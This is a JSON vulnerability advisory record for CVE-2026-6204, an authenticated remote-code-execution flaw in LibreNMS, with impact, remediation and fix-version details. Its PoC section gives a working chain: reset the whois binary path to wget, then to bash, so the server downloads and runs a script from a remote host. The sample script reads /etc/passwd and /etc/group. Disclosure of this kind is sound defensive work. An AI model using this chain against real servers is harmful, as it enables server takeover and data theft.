{"id":"CVE-2026-6204","aliases":["GHSA-pr3g-phhr-h8fh"],"url":"https://o3.security/vulnerability/CVE-2026-6204","summary":"LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write","details":"### Summary\nA vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.\n\n### Details\nThe application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the `GET /ajax/netcmd` endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.\n\n### PoC\nTo reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file `malicious.sh` containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.\n\n```bash\n#!/usr/bin/env bash\n\ncat /etc/passwd\ncat /etc/group\nwhoami\npwd\nls\n```\n\n1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.\n\"image\"\n\n2. Make sure the malicious script `malicious.sh` can be downloaded. \n\"image\"\n\n3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations\n\"image\"\n\n4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).\n\"image\"\n\n5. Send the request `GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh`. The response should contain wget's output, and malicious.sh would be downloaded by the server.\n\"image\"\n\n6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). \n\"image\"\n\n7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. \n\"image\"\n\n### Impact\nThis vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.\n\n### Remediation Advice\nLoading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the `ip_or_hostname` bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.\n\n### Prerequisite\nThe attacker must have a valid Administrator account to exploit this vulnerability.","published":"2026-04-13T10:56:16.850Z","modified":"2026-10-28T02:30:56.146103427Z","cvss":null,"epss":{"score":0.07533,"percentile":0.94201,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"26.3.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/6xxx/CVE-2026-6204.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6204"},{"type":"EVIDENCE","url":"https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"},{"type":"WEB","url":"https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:56.146103427Z"}}